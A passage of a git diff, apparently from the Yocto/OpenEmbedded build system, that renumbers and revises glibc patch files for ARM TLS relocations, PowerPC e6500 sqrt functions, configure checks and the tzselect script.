- square root. */
-
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -93,4 +93,11 @@ __ieee754_sqrtf (float b)
- }
- return f_washf (b);
- }
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-index fc4a74990e..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-index 9d175122a8..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0011-Quote-from-bug-1443-which-explains-what-the-patch-do.patch b/meta/recipes-core/glibc/glibc/0011-Quote-from-bug-1443-which-explains-what-the-patch-do.patch
deleted file mode 100644
index a9280b7c34..0000000000
--- a/meta/recipes-core/glibc/glibc/0011-Quote-from-bug-1443-which-explains-what-the-patch-do.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From de7a7c04a92dbc5d35cb37e47c471e12784cc95e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:20:09 +0000
-Subject: [PATCH 11/29] Quote from bug 1443 which explains what the patch does
- :
-
- We build some random program and link it with -lust. When we run it,
- it dies with a SIGSEGV before reaching main().
-
- Libust.so depends on liburcu-bp.so from the usermode-rcu package.
- Although libust.so is not prelinked, liburcu-bp.so IS prelinked; this
- is critical.
-
- Libust.so uses a TLS / __thread variable that is defined in liburcu-
- bp.so. There are special ARM-specific relocation types that allow two
- shared libraries to share thread-specific data. This is critical too.
-
- One more critical issue: although liburcu-bp.so is prelinked, we can't
- load it at its prelinked address, because we also link against
- librt.so, and librt.so uses that address.
-
- The dynamic linker is forced to relink liburcu-bp.so at a different
- address. In the course of relinking, it processes the special ARM
- relocation record mentioned above. The prelinker has already filled
- in the information, which is a short offset into a table of thread-
- specific data that is allocated per-thread for each library that uses
- TLS. Because the normal behavior of a relocation is to add the symbol
- value to an addend stored at the address being relocated, we end up
- adding the short offset to itself, doubling it.
-
- Now we have an awkward situation. The libust.so library doesn't know
- about the addend, so its TLS data for this element is correct. The
- liburcu-bp.so library has a different offset for the element. When we
- go to initialize the element for the first time in liburcu-bp.so, we
- write the address of the result at the doubled (broken) offset.
- Later, when we refer to the address from libust.so, we check the value
- at the correct offset, but it's NULL, so we eat hot SIGSEGV.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andrei Dinu <andrei.adrianx.dinu@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/arm/dl-machine.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/sysdeps/arm/dl-machine.h b/sysdeps/arm/dl-machine.h
-index 90856779b1..a29bb86c56 100644
---- a/sysdeps/arm/dl-machine.h
-+++ b/sysdeps/arm/dl-machine.h
-@@ -510,7 +510,7 @@ elf_machine_rel (struct link_map *map, const Elf32_Rel *reloc,
-
- case R_ARM_TLS_DTPOFF32:
- if (sym != NULL)
-- *reloc_addr += sym->st_value;
-+ *reloc_addr = sym->st_value;
- break;
-
- case R_ARM_TLS_TPOFF32:
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0012-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch b/meta/recipes-core/glibc/glibc/0012-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch
deleted file mode 100644
index ab07455ade..0000000000
--- a/meta/recipes-core/glibc/glibc/0012-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From c8807899367e64d803585e7dd4b56a1085d5893b Mon Sep 17 00:00:00 2001
-From: Ting Liu <b28495@freescale.com>
-Date: Wed, 19 Dec 2012 04:39:57 -0600
-Subject: [PATCH 12/29] eglibc: run libm-err-tab.pl with specific dirs in ${S}
-
-libm-err-tab.pl will parse all the files named "libm-test-ulps"
-in the given dir recursively. To avoid parsing the one in
-${S}/.pc/ (it does exist after eglibc adds aarch64 support,
-${S}/.pc/aarch64-0001-glibc-fsf-v1-eaf6f205.patch/ports/sysdeps/
-aarch64/libm-test-ulps), run libm-err-tab.pl with specific dirs
-in ${S}.
-
-Upstream-Status: inappropriate [OE specific]
-
-Signed-off-by: Ting Liu <b28495@freescale.com>
----
- manual/Makefile | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/manual/Makefile b/manual/Makefile
-index c61e11dcd7..5d859e6f84 100644
---- a/manual/Makefile
-+++ b/manual/Makefile
-@@ -103,7 +103,8 @@ $(objpfx)stamp-libm-err: $(..)math/gen-libm-test.py \
- $(wildcard $(foreach dir,$(sysdirs),\
- $(dir)/libm-test-ulps))
- pwd=`pwd`; \
-- $(PYTHON) $< -s $$pwd/.. -m $(objpfx)libm-err-tmp
-+ $(PYTHON) $< -s $$pwd/../ports -m $(objpfx)libm-err-tmp
-+ $(PYTHON) $< -s $$pwd/../sysdeps -m $(objpfx)libm-err-tmp
- $(move-if-change) $(objpfx)libm-err-tmp $(objpfx)libm-err.texi
- touch $@
-
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0013-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch b/meta/recipes-core/glibc/glibc/0013-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
deleted file mode 100644
index d875825ff9..0000000000
--- a/meta/recipes-core/glibc/glibc/0013-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
+++ /dev/null
@@ -1,61 +0,0 @@
-From 86fea3409b89f9d8884053a519282f2f30d7ea87 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:24:46 +0000
-Subject: [PATCH 13/29] __ieee754_sqrt{,f} are now inline functions and call
- out __slow versions
-
-Upstream-Status: Pending
-
-Signed-off-by: chunrong guo <B40290@freescale.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 6 +++---
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 4 ++--
- 2 files changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-index 1c34244bd8..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-index 812653558f..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0014-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch b/meta/recipes-core/glibc/glibc/0014-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch
deleted file mode 100644
index 954534bae2..0000000000
--- a/meta/recipes-core/glibc/glibc/0014-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From a3c4f67fb3cb02855073a9cdbcf2881fb53144f0 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:27:10 +0000
-Subject: [PATCH 14/29] sysdeps/gnu/configure.ac: handle correctly
- $libc_cv_rootsbindir
-
-Upstream-Status:Pending
-
-Signed-off-by: Matthieu Crapet <Matthieu.Crapet@ingenico.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/gnu/configure | 2 +-
- sysdeps/gnu/configure.ac | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/sysdeps/gnu/configure b/sysdeps/gnu/configure
-index c15d1087e8..37cc983f2a 100644
---- a/sysdeps/gnu/configure
-+++ b/sysdeps/gnu/configure
-@@ -32,6 +32,6 @@ case "$prefix" in
- else
- libc_cv_localstatedir=$localstatedir
- fi
-- libc_cv_rootsbindir=/sbin
-+ test -n "$libc_cv_rootsbindir" || libc_cv_rootsbindir=/sbin
- ;;
- esac
-diff --git a/sysdeps/gnu/configure.ac b/sysdeps/gnu/configure.ac
-index 634fe4de2a..3db1697f4f 100644
---- a/sysdeps/gnu/configure.ac
-+++ b/sysdeps/gnu/configure.ac
-@@ -21,6 +21,6 @@ case "$prefix" in
- else
- libc_cv_localstatedir=$localstatedir
- fi
-- libc_cv_rootsbindir=/sbin
-+ test -n "$libc_cv_rootsbindir" || libc_cv_rootsbindir=/sbin
- ;;
- esac
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0015-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch b/meta/recipes-core/glibc/glibc/0015-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch
new file mode 100644
index 0000000000..1b99af7110
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0015-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch
@@ -0,0 +1,39 @@
+From b4613f814ba7ba5db95d18116172f81a83ac8f5b Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:27:10 +0000
+Subject: [PATCH] sysdeps/gnu/configure.ac: handle correctly
+ $libc_cv_rootsbindir
+
+Upstream-Status: Pending
+
+Signed-off-by: Matthieu Crapet <Matthieu.Crapet@ingenico.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/gnu/configure | 2 +-
+ sysdeps/gnu/configure.ac | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/sysdeps/gnu/configure b/sysdeps/gnu/configure
+index c15d1087e8..37cc983f2a 100644
+--- a/sysdeps/gnu/configure
++++ b/sysdeps/gnu/configure
+@@ -32,6 +32,6 @@ case "$prefix" in
+ else
+ libc_cv_localstatedir=$localstatedir
+ fi
+- libc_cv_rootsbindir=/sbin
++ test -n "$libc_cv_rootsbindir" || libc_cv_rootsbindir=/sbin
+ ;;
+ esac
+diff --git a/sysdeps/gnu/configure.ac b/sysdeps/gnu/configure.ac
+index 634fe4de2a..3db1697f4f 100644
+--- a/sysdeps/gnu/configure.ac
++++ b/sysdeps/gnu/configure.ac
+@@ -21,6 +21,6 @@ case "$prefix" in
+ else
+ libc_cv_localstatedir=$localstatedir
+ fi
+- libc_cv_rootsbindir=/sbin
++ test -n "$libc_cv_rootsbindir" || libc_cv_rootsbindir=/sbin
+ ;;
+ esac
diff --git a/meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch b/meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch
deleted file mode 100644
index 04a9bf01c4..0000000000
--- a/meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch
+++ /dev/null
@@ -1,263 +0,0 @@
-From 17a602b89cbe53a5a92d0153ccb013a737f028cb Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:31:06 +0000
-Subject: [PATCH 15/29] 'yes' within the path sets wrong config variables
-
-It seems that the 'AC_EGREP_CPP(yes...' example is quite popular
-but being such a short word to grep it is likely to produce
-false-positive matches with the path it is configured into.
-
-The change is to use a more elaborated string to grep for.
-
-Upstream-Status: Submitted [libc-alpha@sourceware.org]
-
-Signed-off-by: Benjamin Esquivel <benjamin.esquivel@linux.intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/aarch64/configure | 4 ++--
- sysdeps/aarch64/configure.ac | 4 ++--
- sysdeps/arm/configure | 4 ++--
- sysdeps/arm/configure.ac | 4 ++--
- sysdeps/mips/configure | 4 ++--
- sysdeps/mips/configure.ac | 4 ++--
- sysdeps/nios2/configure | 4 ++--
- sysdeps/nios2/configure.ac | 4 ++--
- sysdeps/unix/sysv/linux/mips/configure | 4 ++--
- sysdeps/unix/sysv/linux/mips/configure.ac | 4 ++--
- sysdeps/unix/sysv/linux/powerpc/powerpc64/configure | 8 ++++----
- sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac | 8 ++++----
- 12 files changed, 28 insertions(+), 28 deletions(-)
-
-diff --git a/sysdeps/aarch64/configure b/sysdeps/aarch64/configure
-index ac3cf6fd36..32add94df9 100644
---- a/sysdeps/aarch64/configure
-+++ b/sysdeps/aarch64/configure
-@@ -148,12 +148,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef __AARCH64EB__
-- yes
-+ is_aarch64_be
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "is_aarch64_be" >/dev/null 2>&1; then :
- libc_cv_aarch64_be=yes
- else
- libc_cv_aarch64_be=no
-diff --git a/sysdeps/aarch64/configure.ac b/sysdeps/aarch64/configure.ac
-index 8b042d6d05..3cdd262951 100644
---- a/sysdeps/aarch64/configure.ac
-+++ b/sysdeps/aarch64/configure.ac
-@@ -10,8 +10,8 @@ GLIBC_PROVIDES dnl See aclocal.m4 in the top level source directory.
- # the dynamic linker via %ifdef.
- AC_CACHE_CHECK([for big endian],
- [libc_cv_aarch64_be],
-- [AC_EGREP_CPP(yes,[#ifdef __AARCH64EB__
-- yes
-+ [AC_EGREP_CPP(is_aarch64_be,[#ifdef __AARCH64EB__
-+ is_aarch64_be
- #endif
- ], libc_cv_aarch64_be=yes, libc_cv_aarch64_be=no)])
- if test $libc_cv_aarch64_be = yes; then
-diff --git a/sysdeps/arm/configure b/sysdeps/arm/configure
-index 431e843b2b..e152461138 100644
---- a/sysdeps/arm/configure
-+++ b/sysdeps/arm/configure
-@@ -151,12 +151,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef __ARM_PCS_VFP
-- yes
-+ use_arm_pcs_vfp
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_arm_pcs_vfp" >/dev/null 2>&1; then :
- libc_cv_arm_pcs_vfp=yes
- else
- libc_cv_arm_pcs_vfp=no
-diff --git a/sysdeps/arm/configure.ac b/sysdeps/arm/configure.ac
-index 90cdd69c75..05a262ba00 100644
---- a/sysdeps/arm/configure.ac
-+++ b/sysdeps/arm/configure.ac
-@@ -15,8 +15,8 @@ AC_DEFINE(PI_STATIC_AND_HIDDEN)
- # the dynamic linker via %ifdef.
- AC_CACHE_CHECK([whether the compiler is using the ARM hard-float ABI],
- [libc_cv_arm_pcs_vfp],
-- [AC_EGREP_CPP(yes,[#ifdef __ARM_PCS_VFP
-- yes
-+ [AC_EGREP_CPP(use_arm_pcs_vfp,[#ifdef __ARM_PCS_VFP
-+ use_arm_pcs_vfp
- #endif
- ], libc_cv_arm_pcs_vfp=yes, libc_cv_arm_pcs_vfp=no)])
- if test $libc_cv_arm_pcs_vfp = yes; then
-diff --git a/sysdeps/mips/configure b/sysdeps/mips/configure
-index 4e13248c03..f14af952d0 100644
---- a/sysdeps/mips/configure
-+++ b/sysdeps/mips/configure
-@@ -143,11 +143,11 @@ else
- /* end confdefs.h. */
- dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_mips_nan2008" >/dev/null 2>&1; then :
- libc_cv_mips_nan2008=yes
- else
- libc_cv_mips_nan2008=no
-diff --git a/sysdeps/mips/configure.ac b/sysdeps/mips/configure.ac
-index bcbdaffd9f..ad3057f4cc 100644
---- a/sysdeps/mips/configure.ac
-+++ b/sysdeps/mips/configure.ac
-@@ -6,9 +6,9 @@ dnl position independent way.
- dnl AC_DEFINE(PI_STATIC_AND_HIDDEN)
-
- AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
-- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
-+ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
- if test x$libc_cv_mips_nan2008 = xyes; then
- AC_DEFINE(HAVE_MIPS_NAN2008)
-diff --git a/sysdeps/nios2/configure b/sysdeps/nios2/configure
-index 14c8a3a014..dde3814ef2 100644
---- a/sysdeps/nios2/configure
-+++ b/sysdeps/nios2/configure
-@@ -142,12 +142,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef __nios2_big_endian__
-- yes
-+ is_nios2_be
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "is_nios2_be" >/dev/null 2>&1; then :
- libc_cv_nios2_be=yes
- else
- libc_cv_nios2_be=no
-diff --git a/sysdeps/nios2/configure.ac b/sysdeps/nios2/configure.ac
-index f05f43802b..dc8639902d 100644
---- a/sysdeps/nios2/configure.ac
-+++ b/sysdeps/nios2/configure.ac
-@@ -4,8 +4,8 @@ GLIBC_PROVIDES dnl See aclocal.m4 in the top level source directory.
- # Nios II big endian is not yet supported.
- AC_CACHE_CHECK([for big endian],
- [libc_cv_nios2_be],
-- [AC_EGREP_CPP(yes,[#ifdef __nios2_big_endian__
-- yes
-+ [AC_EGREP_CPP(is_nios2_be,[#ifdef __nios2_big_endian__
-+ is_nios2_be
- #endif
- ], libc_cv_nios2_be=yes, libc_cv_nios2_be=no)])
- if test $libc_cv_nios2_be = yes; then
-diff --git a/sysdeps/unix/sysv/linux/mips/configure b/sysdeps/unix/sysv/linux/mips/configure
-index 25f98e0c7b..e95bfae359 100644
---- a/sysdeps/unix/sysv/linux/mips/configure
-+++ b/sysdeps/unix/sysv/linux/mips/configure
-@@ -414,11 +414,11 @@ else
- /* end confdefs.h. */
- dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_mips_nan2008" >/dev/null 2>&1; then :
- libc_cv_mips_nan2008=yes
- else
- libc_cv_mips_nan2008=no
-diff --git a/sysdeps/unix/sysv/linux/mips/configure.ac b/sysdeps/unix/sysv/linux/mips/configure.ac
-index 3db1b32b08..f8cd375ebc 100644
---- a/sysdeps/unix/sysv/linux/mips/configure.ac
-+++ b/sysdeps/unix/sysv/linux/mips/configure.ac
-@@ -105,9 +105,9 @@ AC_COMPILE_IFELSE(
- LIBC_CONFIG_VAR([mips-mode-switch],[${libc_mips_mode_switch}])
-
- AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
-- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
-+ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
-
- libc_mips_nan=
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
-index ae7f254da4..874519000b 100644
---- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
-@@ -155,12 +155,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #if _CALL_ELF == 2
-- yes
-+ use_ppc_elfv2_abi
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_ppc_elfv2_abi" >/dev/null 2>&1; then :
- libc_cv_ppc64_elfv2_abi=yes
- else
- libc_cv_ppc64_elfv2_abi=no
-@@ -188,12 +188,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef _CALL_ELF
-- yes
-+ is_def_call_elf
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "is_def_call_elf" >/dev/null 2>&1; then :
- libc_cv_ppc64_def_call_elf=yes
- else
- libc_cv_ppc64_def_call_elf=no
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
-index f9cba6e15d..b21f72f1e4 100644
---- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
-@@ -6,8 +6,8 @@ LIBC_SLIBDIR_RTLDDIR([lib64], [lib64])
- # Define default-abi according to compiler flags.
- AC_CACHE_CHECK([whether the compiler is using the PowerPC64 ELFv2 ABI],
- [libc_cv_ppc64_elfv2_abi],
-- [AC_EGREP_CPP(yes,[#if _CALL_ELF == 2
-- yes
-+ [AC_EGREP_CPP(use_ppc_elfv2_abi,[#if _CALL_ELF == 2
-+ use_ppc_elfv2_abi
- #endif
- ], libc_cv_ppc64_elfv2_abi=yes, libc_cv_ppc64_elfv2_abi=no)])
- if test $libc_cv_ppc64_elfv2_abi = yes; then
-@@ -19,8 +19,8 @@ else
- # Compiler that do not support ELFv2 ABI does not define _CALL_ELF
- AC_CACHE_CHECK([whether the compiler defines _CALL_ELF],
- [libc_cv_ppc64_def_call_elf],
-- [AC_EGREP_CPP(yes,[#ifdef _CALL_ELF
-- yes
-+ [AC_EGREP_CPP(is_def_call_elf,[#ifdef _CALL_ELF
-+ is_def_call_elf
- #endif
- ], libc_cv_ppc64_def_call_elf=yes, libc_cv_ppc64_def_call_elf=no)])
- if test $libc_cv_ppc64_def_call_elf = no; then
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch b/meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch
deleted file mode 100644
index cd072018e5..0000000000
--- a/meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 4762386b599f5c3287310a69ad3555e0129e0c51 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:33:03 +0000
-Subject: [PATCH 16/29] timezone: re-written tzselect as posix sh
-
-To avoid the bash dependency.
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- timezone/Makefile | 2 +-
- timezone/tzselect.ksh | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/timezone/Makefile b/timezone/Makefile
-index 75f38df527..74e1ab7ff7 100644
---- a/timezone/Makefile
-+++ b/timezone/Makefile
-@@ -122,7 +122,7 @@ $(testdata)/XT%: testdata/XT%
- cp $< $@
-
- $(objpfx)tzselect: tzselect.ksh $(common-objpfx)config.make
-- sed -e 's|/bin/bash|$(BASH)|' \
-+ sed -e 's|/bin/bash|/bin/sh|' \
- -e 's|TZDIR=[^}]*|TZDIR=$(zonedir)|' \
- -e '/TZVERSION=/s|see_Makefile|"$(version)"|' \
- -e '/PKGVERSION=/s|=.*|="$(PKGVERSION)"|' \
-diff --git a/timezone/tzselect.ksh b/timezone/tzselect.ksh
-index 18fce27e24..70745f9d36 100755
---- a/timezone/tzselect.ksh
-+++ b/timezone/tzselect.ksh
-@@ -34,7 +34,7 @@ REPORT_BUGS_TO=tz@iana.org
-
- # Specify default values for environment variables if they are unset.
- : ${AWK=awk}
--: ${TZDIR=`pwd`}
-+: ${TZDIR=$(pwd)}
-
- # Output one argument as-is to standard output.
- # Safer than 'echo', which can mishandle '\' or leading '-'.
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0016-yes-within-the-path-sets-wrong-config-variables.patch b/meta/recipes-core/glibc/glibc/0016-yes-within-the-path-sets-wrong-config-variables.patch
new file mode 100644
index 0000000000..f7e7f1cd10
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0016-yes-within-the-path-sets-wrong-config-variables.patch
@@ -0,0 +1,260 @@
+From 7be3e82b66394a7b242e56c6fc609e858b8e2436 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:31:06 +0000
+Subject: [PATCH] 'yes' within the path sets wrong config variables
+
+It seems that the 'AC_EGREP_CPP(yes...' example is quite popular
+but being such a short word to grep it is likely to produce
+false-positive matches with the path it is configured into.
+
+The change is to use a more elaborated string to grep for.
+
+Upstream-Status: Submitted [libc-alpha@sourceware.org]
+
+Signed-off-by: Benjamin Esquivel <benjamin.esquivel@linux.intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/aarch64/configure | 4 ++--
+ sysdeps/aarch64/configure.ac | 4 ++--
+ sysdeps/arm/configure | 4 ++--
+ sysdeps/arm/configure.ac | 4 ++--
+ sysdeps/mips/configure | 4 ++--
+ sysdeps/mips/configure.ac | 4 ++--
+ sysdeps/nios2/configure | 4 ++--
+ sysdeps/nios2/configure.ac | 4 ++--
+ sysdeps/unix/sysv/linux/mips/configure | 4 ++--
+ sysdeps/unix/sysv/linux/mips/configure.ac | 4 ++--
+ sysdeps/unix/sysv/linux/powerpc/powerpc64/configure | 8 ++++----
+ sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac | 8 ++++----
+ 12 files changed, 28 insertions(+), 28 deletions(-)
+
+diff --git a/sysdeps/aarch64/configure b/sysdeps/aarch64/configure
+index 4c1fac49f3..597314f476 100644
+--- a/sysdeps/aarch64/configure
++++ b/sysdeps/aarch64/configure
+@@ -157,12 +157,12 @@ else
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef __AARCH64EB__
+- yes
++ is_aarch64_be
+ #endif
+
+ _ACEOF
